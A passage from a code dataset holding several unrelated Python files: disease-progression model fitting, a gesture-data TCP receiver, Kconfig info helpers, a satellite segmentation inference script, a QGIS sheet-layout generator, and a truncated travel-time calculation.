p(z_t | k, sub1, tmp2) + ...\n\n (nrSubj, nrBiomk) = crossData.shape\n nrClust = thetas.shape[0]\n nrSubjWithDataPerBiomkB = np.sum(np.logical_not(np.isnan(crossData)),axis=0)\n\n # print('nrSubjWithDataPerBiomkB', nrSubjWithDataPerBiomkB)\n # print(adsa)\n\n dps = voxelDPM.VoxelDPM.calcDps(subShiftsCross, crossAge1array)\n fSK = np.zeros((nrSubj, nrClust), float)\n for k in range(nrClust):\n fSK[:,k] = trajFunc(dps,thetas[k,:])\n\n logClustProb = np.zeros((nrBiomk,nrClust), np.longdouble)\n clustProb = np.zeros((nrBiomk, nrClust), float)\n tmpSSD = np.zeros((nrBiomk, nrClust), np.longdouble)\n for k in range(nrClust):\n tmpSSD[:,k] = np.nansum(np.power(crossData - fSK[:,k][:, None], 2), 0) # sum across subjects, left with 1 x NR_BIOMK array\n assert(tmpSSD[:,k].shape[0] == nrBiomk)\n logClustProb[:,k] = -tmpSSD[:,k]/(2*variances[k]) - np.log(2*math.pi*variances[k])*nrSubjWithDataPerBiomkB/2\n\n # vertexNr = 755\n # print('tmpSSD[vertexNr,:]', tmpSSD[vertexNr,:]) # good\n # print('logClustProb[vertexNr,:]', logClustProb[vertexNr,:]) # bad\n\n for k in range(nrClust):\n expDiffs = np.power(np.e,logClustProb - logClustProb[:, k][:, None])\n clustProb[:,k] = np.divide(1, np.sum(expDiffs, axis=1))\n\n for c in range(nrClust):\n print('sum%d' % c, np.sum(clustProb[:,c]))\n\n\n print('clustProb', clustProb)\n print('nan entries biomk', np.sum(np.isnan(clustProb),axis=0) > 0)\n print('nan entries clust', np.sum(np.isnan(clustProb),axis=1) > 0)\n if np.isnan(clustProb).any():\n print('error, NaN entries in clustProb')\n import pdb\n pdb.set_trace()\n\n return clustProb, crossData, longData\n\n\n def estimShifts(self, dataOneSubjTB, thetas, variances, ageOneSubj1array, clustProbBC,\n prevSubShift, prevSubShiftAvg, fixSpeed):\n\n '''\n do not use dot product because when NaNs are involved the weights will not sum to 1.\n use np.ma.average(.., weights) instead, as the weights will be re-normalised accordingly\n '''\n\n # print('prevSubShift, prevSubShiftAvg', prevSubShift, prevSubShiftAvg)\n # print(adsa)\n\n clustProbBCColNorm = clustProbBC / np.sum(clustProbBC, 0)[None, :]\n\n nrBiomk, nrClust = clustProbBC.shape\n nrTimepts = dataOneSubjTB.shape[0]\n\n dataOneSubjTBarray = np.array(dataOneSubjTB)\n dataOneSubjTBarray[dataOneSubjTB.mask] = np.nan\n\n if fixSpeed: # fixes parameter alpha to 1\n composeShift = lambda beta: [prevSubShiftAvg[0], beta]\n initSubShift = prevSubShift[1]\n objFuncLambda = lambda beta: self.objFunShift(composeShift(beta), dataOneSubjTBarray, thetas,\n variances, ageOneSubj1array, clustProbBC)\n\n prevSubShiftAvgCurr = prevSubShiftAvg[1].reshape(1,-1)\n else:\n composeShift = lambda shift: shift\n initSubShift = prevSubShift\n objFuncLambda = lambda beta: self.objFunShift(composeShift(beta), dataOneSubjTBarray, thetas,\n variances, ageOneSubj1array, clustProbBC)\n\n prevSubShiftAvgCurr = prevSubShiftAvg\n\n # print('initSubShift', composeShift(initSubShift), objFuncLambda(initSubShift))\n # print(ads)\n\n res = scipy.optimize.minimize(objFuncLambda, initSubShift, method='Nelder-Mead',\n options={'xatol': 1e-2, 'disp': False})\n bestShift = res.x\n nrStartPoints = 2\n nrParams = prevSubShiftAvgCurr.shape[0]\n pertSize = 1\n minSSD = res.fun\n success = False\n for i in range(nrStartPoints):\n perturbShift = prevSubShiftAvgCurr * (np.ones(nrParams) + pertSize *\n np.random.multivariate_normal(np.zeros(nrParams), np.eye(nrParams)))\n res = scipy.optimize.minimize(objFuncLambda, perturbShift, method='Nelder-Mead',\n options={'xtol': 1e-8, 'disp': False, 'maxiter': 100})\n currShift = res.x\n currSSD = res.fun\n # print('currSSD', currSSD, objFuncLambda(currShift))\n if currSSD < minSSD:\n # if we found a better solution then we decrease the step size\n minSSD = currSSD\n bestShift = currShift\n pertSize /= 1.2\n success = res.success\n else:\n # if we didn't find a solution then we increase the step size\n pertSize *= 1.2\n # print('bestShift', bestShift)\n\n return composeShift(bestShift)\n\n def objFunShift(self, shift, dataOneSubj, thetas, variances, ageOneSubj1array, clustProb):\n\n # print('shift, ageOneSubj1array', shift, ageOneSubj1array)\n dps = np.sum(np.multiply(shift, ageOneSubj1array),1)\n nrClust = clustProb.shape[1]\n\n sumSSD = 0\n for k in range(nrClust):\n sqErrorsB = np.nansum(np.power((dataOneSubj - self.trajFunc(dps, thetas[k,:])[:, None]),2), axis=0)\n sumSSD += np.nansum(np.multiply(sqErrorsB, clustProb[:,k]))/(2*variances[k])\n\n logPriorShift = self.logPriorShiftFunc(shift, self.paramsPriorShift)\n\n # print('logPriorShift', logPriorShift, 'sumSSD', sumSSD)\n # print(sumSSD)\n # if shift[0] < -400: # and -67\n # import pdb\n # pdb.set_trace()\n\n return sumSSD - logPriorShift\n\n\n def estimThetas(self, data, dpsCross, clustProbColNormB, prevTheta, nrSubjLong):\n '''\n data contains NaNs.\n '''\n\n recompThetaSig = lambda thetaFull, theta12: [thetaFull[0], theta12[0], theta12[1], thetaFull[3]]\n\n # print('estimThetas data shape', data.shape)\n dataNpArray = np.array(data)\n dataNpArray[data.mask] = np.nan\n\n objFuncLambda = lambda theta12: self.objFunTheta(recompThetaSig(prevTheta, theta12),\n dataNpArray, dpsCross, clustProbColNormB)[0]\n\n initTheta12 = prevTheta[[1, 2]]\n\n nrStartPoints = 10\n nrParams = initTheta12.shape[0]\n pertSize = 1\n minTheta = np.array([-1/np.std(dpsCross), -np.inf])\n maxTheta = np.array([0, np.inf])\n minSSD = np.inf\n bestTheta = initTheta12\n success = False\n for i in range(nrStartPoints):\n perturbTheta = initTheta12 * (np.ones(nrParams) + pertSize *\n np.random.multivariate_normal(np.zeros(nrParams), np.eye(nrParams)))\n # print('perturbTheta < minTheta', perturbTheta < minTheta)\n # perturbTheta[perturbTheta < minTheta] = minTheta[perturbTheta < minTheta]\n # perturbTheta[perturbTheta > maxTheta] = minTheta[perturbTheta > maxTheta]\n res = scipy.optimize.minimize(objFuncLambda, perturbTheta, method='Nelder-Mead',\n options={'xtol': 1e-8, 'disp': True, 'maxiter':100})\n currTheta = res.x\n currSSD = res.fun\n print('currSSD', currSSD, objFuncLambda(currTheta))\n if currSSD < minSSD:\n # if we found a better solution then we decrease the step size\n minSSD = currSSD\n bestTheta = currTheta\n pertSize /= 1.2\n success = res.success\n else:\n # if we didn't find a solution then we increase the step size\n pertSize *= 1.2\n print('bestTheta', bestTheta)\n # print(adsa)\n\n # if not success:\n # import pdb\n # pdb.set_trace()\n\n newTheta = recompThetaSig(prevTheta, bestTheta)\n #print(newTheta)\n newVariance = self.estimVariance(data, dpsCross, clustProbColNormB, newTheta, nrSubjLong)\n\n return newTheta, newVariance\n\n def objFunTheta(self, theta, data, dpsCross, clustProbB):\n\n # print(data.shape, dpsCross.shape)\n\n sqErrorsSB = np.power((data - self.trajFunc(dpsCross, theta)[:, None]),2)\n meanSSD = np.nansum(np.multiply(clustProbB[None,:], sqErrorsSB), (0,1))\n #print(\"meanSSD\", meanSSD, \"clustProbB\", clustProbB, \"sqErrorsSB\", sqErrorsSB)\n #print(\"ssd/nrSubj\", meanSSD/data.shape[0])\n #print(asdsa)\n\n logPriorTheta = self.logPriorThetaFunc(theta, self.paramsPriorTheta)\n\n return meanSSD - logPriorTheta, meanSSD\n\n def estimVariance(self, crossData, dpsCross, clustProbB, theta, nrSubjLong):\n '''\n Estimates the variance in the measurement of one biomarker. (Not variance in the mean ... )\n :param crossData: cross sectional data\n :param dpsCross: cross section disease progression scores\n :param clustProbB: clustering probabilities for one cluster only\n :param theta: parameters for\n :param nrSubjLong:\n :return: variance\n '''\n\n finalSSD = self.objFunTheta(theta, crossData, dpsCross, clustProbB)[1]\n # remove the degrees of freedom: 2 for each subj (slope and shift) and one for each parameters in the model\n #variance = finalSSD / (crossData.shape[0] -2*nrSubjLong - theta.shape[0]) # variance of biomarker measurement\n\n # when there are NaNs, the normalisation of the variance is simply the sum of all the weights\n # corresponding to non-NaN entries\n clustProbSBtiled = np.tile(clustProbB, (crossData.shape[0], 1))\n assert clustProbSBtiled.shape[0] == crossData.shape[0]\n assert clustProbSBtiled.shape[1] == crossData.shape[1]\n weightSumNonNan = np.sum(clustProbSBtiled[np.logical_not(np.isnan(crossData))])\n\n variance = finalSSD / weightSumNonNan # variance of biomarker measurement\n\n return variance\n\n def loadParamsFromFile(self, paramsDataFile, nrOuterIter, nrInnerIter):\n dataStruct = pickle.load(open(paramsDataFile, 'rb'))\n clustProbBC = dataStruct['clustProbBC']\n thetas = dataStruct['thetas']\n variances = dataStruct['variances']\n subShiftsLong = dataStruct['subShiftsLong']\n\n thetas = thetas[nrOuterIter - 1, nrInnerIter - 1, :, :]\n variances = variances[nrOuterIter - 1, nrInnerIter - 1, :]\n subShifts = subShiftsLong[nrOuterIter - 1, nrInnerIter - 1, :, :]\n clustProb = clustProbBC\n\n print('thetas', thetas)\n print('clustProb', clustProb[:,3])\n\n # place CSF biomk much earlier\n thetas[[1, 9,10,11], 2] = thetas[[1, 9,10,11], 2] - 10\n\n # place MRI biomk slightly earlier\n thetas[[4,5,6,7,8], 2] = thetas[[4,5,6,7,8], 2] - 5\n print('thetas', thetas)\n print('subShifts.shape', subShifts.shape)\n # print(adsa)\n\n\n paramsDataFileNew = '%s/params_2ndFit.npz' % self.outFolder\n\n return thetas, variances, subShifts, clustProbBC, paramsDataFileNew","repo_name":"razvanmarinescu/dive","sub_path":"VDPMNanNonMean.py","file_name":"VDPMNanNonMean.py","file_ext":"py","file_size_in_byte":12663,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"44120856546","text":"import socket\nimport struct\nfrom Gesture import Gesture\n\ns = socket.socket()\n\ns.bind(('0.0.0.0', 8090))\ns.listen(0)\n\ncount = 0\ngesture = Gesture()\nwhile count < 180:\n client, addr = s.accept()\n content = client.recv(100)\n count = count + 1\n gesture.append(struct.unpack('H7h', content))\n # client.close()\n\ngesture.save(name='Gesto1.csv')\n# print(\"Closing connection\")\n# client.close()\n","repo_name":"Dfriveraa/PI-GetData","sub_path":"Server_tcp.py","file_name":"Server_tcp.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25881744700","text":"from kconfiglib import Kconfig, MenuNode, Symbol, Choice, expr_str, expr_value, split_expr, standard_sc_expr_str, TRI_TO_STR, AND, OR\n\ndef setKConfig(kconfig):\n global _kconfig\n _kconfig = kconfig\n\ndef getNodeName(node):\n if isinstance(node.item, Symbol) or isinstance(node.item, Choice):\n return _name_info(node.item)\n\n return _kconfig_def_info(node)\n\ndef getNodeInfoString(node):\n # Returns information about the menu node 'node' as a string.\n #\n # The helper functions are responsible for adding newlines. This allows\n # them to return \"\" if they don't want to add any output.\n\n if isinstance(node.item, Symbol):\n sym = node.item\n\n return (\n _name_info(sym) +\n _help_info(sym) +\n _direct_dep_info(sym) +\n _defaults_info(sym) +\n _select_imply_info(sym) +\n _kconfig_def_info(sym)\n )\n\n if isinstance(node.item, Choice):\n choice = node.item\n\n return (\n _name_info(choice) +\n _help_info(choice) +\n 'Mode: {}\\n\\n'.format(choice.str_value) +\n _choice_syms_info(choice) +\n _direct_dep_info(choice) +\n _defaults_info(choice) +\n _kconfig_def_info(choice)\n )\n\n # node.item in (MENU, COMMENT)\n return _kconfig_def_info(node)\n\n\n return \"Text here\"\n\n\ndef _name_info(sc):\n # Returns a string with the name of the symbol/choice. Choices are shown as\n # .\n\n return (sc.name if sc.name else standard_sc_expr_str(sc)) + \"\\n\\n\"\n\n\ndef _value_info(sym):\n # Returns a string showing 'sym's value\n\n # Only put quotes around the value for string symbols\n return \"Value: {}\\n\".format(\n '\"{}\"'.format(sym.str_value)\n if sym.orig_type == STRING\n else sym.str_value)\n\n\ndef _choice_syms_info(choice):\n # Returns a string listing the choice symbols in 'choice'. Adds\n # \"(selected)\" next to the selected one.\n\n s = \"Choice symbols:\\n\"\n\n for sym in choice.syms:\n s += \" - \" + sym.name\n if sym is choice.selection:\n s += \" (selected)\"\n s += \"\\n\"\n\n return s + \"\\n\"\n\n\ndef _help_info(sc):\n # Returns a string with the help text(s) of 'sc' (Symbol or Choice).\n # Symbols and choices defined in multiple locations can have multiple help\n # texts.\n\n s = \"\"\n\n for node in sc.nodes:\n if node.help is not None:\n s += node.help + \"\\n\\n\"\n\n return s\n\n\ndef _direct_dep_info(sc):\n # Returns a string describing the direct dependencies of 'sc' (Symbol or\n # Choice). The direct dependencies are the OR of the dependencies from each\n # definition location. The dependencies at each definition location come\n # from 'depends on' and dependencies inherited from parent items.\n\n return \"\" if sc.direct_dep is _kconfig.y else \\\n 'Direct dependencies (={}):\\n{}\\n' \\\n .format(TRI_TO_STR[expr_value(sc.direct_dep)],\n _split_expr_info(sc.direct_dep, 2))\n\n\ndef _defaults_info(sc):\n # Returns a string describing the defaults of 'sc' (Symbol or Choice)\n\n if not sc.defaults:\n return \"\"\n\n s = \"Default\"\n if len(sc.defaults) > 1:\n s += \"s\"\n s += \":\\n\"\n\n for val, cond in sc.orig_defaults:\n s += \" - \"\n if isinstance(sc, Symbol):\n s += _expr_str(val)\n\n # Skip the tristate value hint if the expression is just a single\n # symbol. _expr_str() already shows its value as a string.\n #\n # This also avoids showing the tristate value for string/int/hex\n # defaults, which wouldn't make any sense.\n if isinstance(val, tuple):\n s += ' (={})'.format(TRI_TO_STR[expr_value(val)])\n else:\n # Don't print the value next to the symbol name for choice\n # defaults, as it looks a bit confusing\n s += val.name\n s += \"\\n\"\n\n if cond is not _kconfig.y:\n s += \" Condition (={}):\\n{}\" \\\n .format(TRI_TO_STR[expr_value(cond)],\n _split_expr_info(cond, 4))\n\n return s + \"\\n\"\n\ndef _split_expr_info(expr, indent):\n # Returns a string with 'expr' split into its top-level && or || operands,\n # with one operand per line, together with the operand's value. This is\n # usually enough to get something readable for long expressions. A fancier\n # recursive thingy would be possible too.\n #\n # indent:\n # Number of leading spaces to add before the split expression.\n\n if len(split_expr(expr, AND)) > 1:\n split_op = AND\n op_str = \"&&\"\n else:\n split_op = OR\n op_str = \"||\"\n\n s = \"\"\n for i, term in enumerate(split_expr(expr, split_op)):\n s += \"{}{} {}\".format(indent*\" \",\n \" \" if i == 0 else op_str,\n _expr_str(term))\n\n # Don't bother showing the value hint if the expression is just a\n # single symbol. _expr_str() already shows its value.\n if isinstance(term, tuple):\n s += \" (={})\".format(TRI_TO_STR[expr_value(term)])\n\n s += \"\\n\"\n\n return s\n\n\ndef _select_imply_info(sym):\n # Returns a string with information about which symbols 'select' or 'imply'\n # 'sym'. The selecting/implying symbols are grouped according to which\n # value they select/imply 'sym' to (n/m/y).\n\n def sis(expr, val, title):\n # sis = selects/implies\n sis = [si for si in split_expr(expr, OR) if expr_value(si) == val]\n if not sis:\n return \"\"\n\n res = title\n for si in sis:\n res += \" - {}\\n\".format(split_expr(si, AND)[0].name)\n return res + \"\\n\"\n\n s = \"\"\n\n if sym.rev_dep is not _kconfig.n:\n s += sis(sym.rev_dep, 2,\n \"Symbols currently y-selecting this symbol:\\n\")\n s += sis(sym.rev_dep, 1,\n \"Symbols currently m-selecting this symbol:\\n\")\n s += sis(sym.rev_dep, 0,\n \"Symbols currently n-selecting this symbol (no effect):\\n\")\n\n if sym.weak_rev_dep is not _kconfig.n:\n s += sis(sym.weak_rev_dep, 2,\n \"Symbols currently y-implying this symbol:\\n\")\n s += sis(sym.weak_rev_dep, 1,\n \"Symbols currently m-implying this symbol:\\n\")\n s += sis(sym.weak_rev_dep, 0,\n \"Symbols currently n-implying this symbol (no effect):\\n\")\n\n return s\n\n\ndef _kconfig_def_info(item):\n # Returns a string with the definition of 'item' in Kconfig syntax,\n # together with the definition location(s) and their include and menu paths\n\n nodes = [item] if isinstance(item, MenuNode) else item.nodes\n\n s = \"Kconfig definition{}, with parent deps. propagated to 'depends on'\\n\" \\\n .format(\"s\" if len(nodes) > 1 else \"\")\n s += (len(s) - 1)*\"=\"\n\n for node in nodes:\n s += \"\\n\\n\" \\\n \"At {}:{}\\n\" \\\n \"{}\" \\\n \"Menu path: {}\\n\\n\" \\\n \"{}\" \\\n .format(node.filename, node.linenr,\n _include_path_info(node),\n _menu_path_info(node),\n node.custom_str(_name_and_val_str))\n\n return s\n\n\ndef _include_path_info(node):\n if not node.include_path:\n # In the top-level Kconfig file\n return \"\"\n\n return \"Included via {}\\n\".format(\n \" -> \".join(\"{}:{}\".format(filename, linenr)\n for filename, linenr in node.include_path))\n\n\ndef _menu_path_info(node):\n # Returns a string describing the menu path leading up to 'node'\n\n path = \"\"\n\n while node.parent is not _kconfig.top_node:\n node = node.parent\n\n # Promptless choices might appear among the parents. Use\n # standard_sc_expr_str() for them, so that they show up as\n # ''.\n path = \" -> \" + (node.prompt[0] if node.prompt else\n standard_sc_expr_str(node.item)) + path\n\n return \"(Top)\" + path\n\ndef _name_and_val_str(sc):\n # Custom symbol/choice printer that shows symbol values after symbols\n\n # Show the values of non-constant (non-quoted) symbols that don't look like\n # numbers. Things like 123 are actually symbol references, and only work as\n # expected due to undefined symbols getting their name as their value.\n # Showing the symbol value for those isn't helpful though.\n if isinstance(sc, Symbol) and not sc.is_constant and not _is_num(sc.name):\n if not sc.nodes:\n # Undefined symbol reference\n return \"{}(undefined/n)\".format(sc.name)\n\n return '{}(={})'.format(sc.name, sc.str_value)\n\n # For other items, use the standard format\n return standard_sc_expr_str(sc)\n\n\ndef _expr_str(expr):\n # Custom expression printer that shows symbol values\n return expr_str(expr, _name_and_val_str)\n\n\ndef _is_num(name):\n # Heuristic to see if a symbol name looks like a number, for nicer output\n # when printing expressions. Things like 16 are actually symbol names, only\n # they get their name as their value when the symbol is undefined.\n\n try:\n int(name)\n except ValueError:\n if not name.startswith((\"0x\", \"0X\")):\n return False\n\n try:\n int(name, 16)\n except ValueError:\n return False\n\n return True\n","repo_name":"linux4sam/at91bootstrap","sub_path":"scripts/mpconfig/knodeinfo.py","file_name":"knodeinfo.py","file_ext":"py","file_size_in_byte":9355,"program_lang":"python","lang":"en","doc_type":"code","stars":106,"dataset":"github-code","pt":"48"} +{"seq_id":"19890178663","text":"import os\nimport numpy as np\nfrom PIL import Image\nimport torch.nn as nn\nfrom torch.utils.data import Dataset, DataLoader\nfrom tqdm import tqdm\nfrom my_lib import *\nfrom segmentation_models_pytorch.metrics import get_stats, iou_score, accuracy, balanced_accuracy, f1_score\n\n\nclass InferDataset(Dataset):\n def __init__(self, path, file_n):\n self.path = path\n self.data_list = [file_n]\n\n def __len__(self):\n return len(self.data_list)\n\n def __getitem__(self, index):\n f_name = self.data_list[index]\n image, label = item_getter(self.path, f_name, val=False)\n return image, label\n\n\ndef un_normalize(np_img: np.ndarray):\n np_img = np.transpose(np_img, (1, 2, 0))\n np_img = (np_img * 255).astype(np.uint8)\n return np_img.transpose(2, 0, 1)\n\n\n# palette = np.array([i for i in range(8)])\ndata_path = 'D:/dataset_new'\nmodel_path = 'D:/PROJ/v10-5_v10-5_timm__4.pth'\nmod = 'timm'\nBATCH_SIZE = 1\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n\ndef save_t(full_name, im, prof):\n with rasterio.open(full_name, 'w', **prof) as src:\n src.write(im)\n\n\nlst = list(np.random.permutation(os.listdir(data_path + '/label10-5_0')))\n# lst = ['EA_0301T232157_22_1_3.npy']\nfor file_name in tqdm(lst):\n model_ft.to(device)\n state_dict = torch.load(model_path, map_location=device)['model_state_dict']\n model_ft.load_state_dict(state_dict, strict=False)\n\n dataset = InferDataset(data_path, file_name)\n dataloader = DataLoader(dataset, batch_size=BATCH_SIZE, collate_fn=coll_fn, shuffle=False) # 30.01.2023 was True\n\n inputs, labels = next(iter(dataloader))\n inputs = inputs.to(device)\n labels = labels.to(device)\n\n model_ft.eval()\n ce = nn.CrossEntropyLoss()\n outputs = model_ft(inputs)\n y_pred = torch.argmax(outputs, dim=1).cpu()\n labels = np.asarray(labels.cpu())\n\n name = file_name.split('.')[0]\n\n sat_img = rasterio.open(f'D:/data/{name}.tiff', 'r')\n profile = sat_img.profile\n profile['count'] = 4\n images = np.empty(shape=(4, 256, 256))\n images[:] = np.asarray(inputs[0, :, :])\n save_t(f\"D:/w/10-5/i/{name}.tiff\", np.asarray(images) * 255, profile) # image\n\n profile['count'] = 3\n save_t(f\"D:/w/10-5/p_{mod}_real/{name}.tiff\", palette0[1 + y_pred[0, :, :]].astype(np.uint8).transpose((2, 0, 1)),\n profile) # predict\n # y_pred[0, labels[0, :, :] == -1] = -1\n # save_t(f\"D:/M/10-2+/p_{mod}/{name}.tiff\", palette0[1 + y_pred[0, :, :]].astype(np.uint8).transpose((2, 0, 1)),\n # profile) # predict\n\n save_t(f\"D:/w/10-5/l_{mod}/{name}.tiff\", palette0[1 + labels[0, :, :]].astype(np.uint8).transpose((2, 0, 1)),\n profile) # label\n\n \"\"\"output = torch.LongTensor(y_pred[0, :, :])\n target = torch.LongTensor(labels[0, :, :])\n try:\n print(sum(sum(np.asarray(torch.LongTensor(y_pred[0, :, :] == -1)))))\n except:\n print(np.unique(y_pred[0, :, :]))\n pass\n print(sum(sum(np.asarray(torch.LongTensor(labels[0, :, :] == -1)))))\n st = get_stats(output, target, mode='multiclass', num_classes=5)\n print(name)\n for class_ in range(5):\n stats = []\n if np.sum(np.asarray(st[2])[:, class_]) == 0:\n continue\n for s in range(len(st)): # TP FP FN TN\n arr = np.asarray(st[s])\n print(['TP', 'FP', 'FN', 'TN'][s], end='\\t')\n print(np.sum(arr[:, class_]))\n stats.append((st[s])[:, class_])\n # stats.append(np.asarray([arr[:, class_]]))\n # print(arr[:, 0])\n\n # print(tuple(stats)[0].shape)\n print(float(f1_score(*tuple(stats), reduction='macro') * inputs.size(0)))\n print(float(f1_score(*st, reduction='macro') * inputs.size(0)))\"\"\"\n\n # im = Image.fromarray(palette0[1 + y_pred[0, :, :]].astype(np.uint8))\n # im.save(f\"D:/M/10-2+/p/{name}.gif\")\n\n # im = Image.fromarray(palette0[1 + labels[0, :, :]].astype(np.uint8))\n # im.save(f\"D:/M/10-2+/l/{name}.gif\")\n\n # im_dst = im_dst.transpose((1, 2, 0))\n # im_dst = transforms_resize_img(image=im_dst)['image']\n # im_dst = im_dst.transpose((2, 0, 1))\n\n # im = Image.fromarray(im_dst.astype(np.uint8))\n # im.save(f\"D:/M/10-2+/i/{name}.gif\")\n\n # arr = np.load(f\"D:/data/{name}.npy\")[:3].transpose((1, 2, 0))\n # im = Image.fromarray(arr.astype(np.uint8))\n # im.save(f\"D:/view/image/{name}.gif\")\n\n # im = Image.fromarray(un_normalize(inputs[0, :, :, :]) * 255)\n # im.save(f\"E:/files/view/raw_img/{name}i.gif\")\n","repo_name":"t0pcup/ice-segmentator","sub_path":"visual.py","file_name":"visual.py","file_ext":"py","file_size_in_byte":4513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14246488647","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n#------------------------------------------------------------\n# (c) 2017 by noriGIS\n# norigis@posteo.at\n#------------------------------------------------------------\n# Licensed under the terms of GNU GPL 2\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#------------------------------------------------------------\n\n# Eingabedialog erstellen\n##nori QGIS Werkzeuge=group\n##Blattschnittgenerator=name\n##Eingabelayer=vector\n##Massstab=string 1:1000\n##Format=selection A0;A1;A2;A3;A4;A5\n##Orientierung=selection Querformat;Hochformat\n##Raender_x_in_mm=number 5\n##Raender_y_in_mm=number 5\n##Ursprung_x=number 0\n##Ursprung_y=number 0\n\nfrom PyQt5.QtCore import *\nfrom qgis.core import *\nfrom decimal import Decimal\n\n# Eingabedialog Parameter uebernehmen\neingabelayer = processing.getObject(Eingabelayer)\nmassstab = Massstab\nformat = Format\norientierung = Orientierung\nrand_x = Raender_x_in_mm\nrand_y = Raender_y_in_mm\nursprung_x = Ursprung_x\nursprung_y = Ursprung_y\n\n# Massstab in 'Float' umwandeln\nmassstab = massstab[2:]\nmassstab = float(massstab)\n\n# Eingabegeometrie pruefen\nif eingabelayer.geometryType() != 2:\n raise RuntimeError('Eingabelayer wird nicht unterstuetzt. Nur Polygongeometrien sind zulaessig.')\n\n# Bearbeitungsstatus ueberpruefen\nif not eingabelayer.isEditable():\n eingabelayer.startEditing()\n\n# Formate ermitteln \nif format == 0 and orientierung == 0:\n format_breite = 1.189\n format_hoehe = 0.841\n format = 'A0'\nelif format == 0 and orientierung == 1:\n format_breite = 0.841\n format_hoehe = 1.189\n format = 'A0'\nelif format == 1 and orientierung == 0:\n format_breite = 0.841\n format_hoehe = 0.594\n format = 'A1'\nelif format == 1 and orientierung == 1:\n format_breite = 0.594\n format_hoehe = 0.841\n format = 'A1'\nelif format == 2 and orientierung == 0:\n format_breite = 0.594\n format_hoehe = 0.42\n format = 'A2'\nelif format == 2 and orientierung == 1:\n format_breite = 0.42\n format_hoehe = 0.594\n format = 'A2'\nelif format == 3 and orientierung == 0:\n format_breite = 0.42\n format_hoehe = 0.297\n format = 'A3'\nelif format == 3 and orientierung == 1:\n format_breite = 0.297\n format_hoehe = 0.42\n format = 'A3'\nelif format == 4 and orientierung == 0:\n format_breite = 0.297\n format_hoehe = 0.21\n format = 'A4'\nelif format == 4 and orientierung == 1:\n format_breite = 0.21\n format_hoehe = 0.297\n format = 'A4'\nelif format == 5 and orientierung == 0:\n format_breite = 0.21\n format_hoehe = 0.148\n format = 'A5'\nelif format == 5 and orientierung == 1:\n format_breite = 0.148\n format_hoehe = 0.21\n format = 'A5'\n\n# Rand beruecksichtigen\nrand_x = rand_x / 1000\nrand_y = rand_y / 1000\nrand_x = rand_x * 2\nrand_y = rand_y * 2\n\nkarte_breite = format_breite - rand_x\nkarte_hoehe = format_hoehe - rand_y\n\n# Blattschnittpolygon ermitteln\nblattschnitt_breite = karte_breite * massstab\nblattschnitt_hoehe = karte_hoehe * massstab\n\n# Koordinaten ermitteln\nx1 = ursprung_x\ny1 = ursprung_y\n\nx2 = x1\ny2 = y1 + blattschnitt_hoehe\n\nx3 = x1 + blattschnitt_breite\ny3 = y1 + blattschnitt_hoehe\n\nx4 = x1 + blattschnitt_breite\ny4 = y1\n\n# Polygon erstellen\nseg = QgsFeature() \nseg.setGeometry(QgsGeometry.fromPolygon([[QgsPoint(x1, y1), QgsPoint(x2, y2), QgsPoint(x3, y3), QgsPoint(x4, y4)]]))\neingabelayer.addFeatures([seg])\n\n# Protokollinformation erstellen\nformat_breite = format_breite * 1000\nformat_hoehe = format_hoehe * 1000\n\nkarte_breite = karte_breite * 1000\nkarte_hoehe = karte_hoehe * 1000\n\nrand_x = rand_x / 2\nrand_y = rand_y / 2\nrand_x = rand_x * 1000\nrand_y = rand_y * 1000\n\ndef format_float(f):\n d = Decimal(str(f));\n return d.quantize(Decimal(1)) if d == d.to_integral() else d.normalize()\n # (siehe https://stackoverflow.com/a/36981428)\n\nmassstab = format_float(massstab)\nblattschnitt_breite = format_float(blattschnitt_breite)\nblattschnitt_hoehe = format_float(blattschnitt_hoehe)\nformat_breite = format_float(format_breite)\nformat_hoehe = format_float(format_hoehe)\nkarte_breite = format_float(karte_breite)\nkarte_hoehe = format_float(karte_hoehe)\nrand_x = format_float(rand_x)\nrand_y = format_float(rand_y)\n\nprogress.setInfo('')\nprogress.setInfo('***** Blattschnittinformation *****')\nprogress.setInfo('')\nprogress.setInfo('Massstab: 1:' + str(massstab))\nprogress.setInfo('')\nprogress.setInfo('Breite Blattschnittpolygon: ' + str(blattschnitt_breite) + ' m')\nprogress.setInfo('Hoehe Blattschnittpolygon: ' + str(blattschnitt_hoehe) + ' m')\nprogress.setInfo('')\nprogress.setInfo('Format: ' + str(format) + ' (' + str(format_breite) + ' x ' + str(format_hoehe) + ' mm)')\nprogress.setInfo('')\nprogress.setInfo('Breite Karte in Druckzusammenstellung: ' + str(karte_breite) + ' mm')\nprogress.setInfo('Hoehe Karte in Druckzusammenstellung: ' + str(karte_hoehe) + ' mm')\nprogress.setInfo('')\nprogress.setInfo('Raender x: ' + str(rand_x) + ' mm')\nprogress.setInfo('Raender y: ' + str(rand_y) + ' mm')\nprogress.setInfo('')\nprogress.setInfo('***********************************')\nprogress.setInfo('')\n","repo_name":"norigis/qgis_werkzeugkiste_skripte","sub_path":"qgis_werkzeuge/blattschnittgenerator.py","file_name":"blattschnittgenerator.py","file_ext":"py","file_size_in_byte":5268,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73479849424","text":"import random\nrandom.seed(5)\n\ndef getDist():\n while True:\n totalDist = input(\"Input distance between 500 and 1000 miles: \")\n try:\n totalDist = float(totalDist)\n if totalDist >= 500 and totalDist <= 1000:\n return totalDist\n break\n else:\n print(\"Invalid entry!\")\n except:\n print(\"Invalid entry!\")\n\ndef factorGen():\n factor = {}\n for x in range(1, 3):\n factor[x] = float(random.randint(10, 50)/100)\n return factor\n\ndef speedGen():\n speed = {}\n for x in range(1, 3):\n speed[x] = float(random.randint(70, 120))\n return speed\n\ndef calcBounds(distance, factor):\n bounds = {}\n bounds['A'] = float(distance*factor[1])\n bounds['B'] = float(distance*factor[2])\n bounds['open'] = distance - (bounds['A'] + bounds['B'])\n return bounds\n\ndef calcTime(speed, dist):\n collTime = float(dist/int((speed[1]+speed[2])))\n return 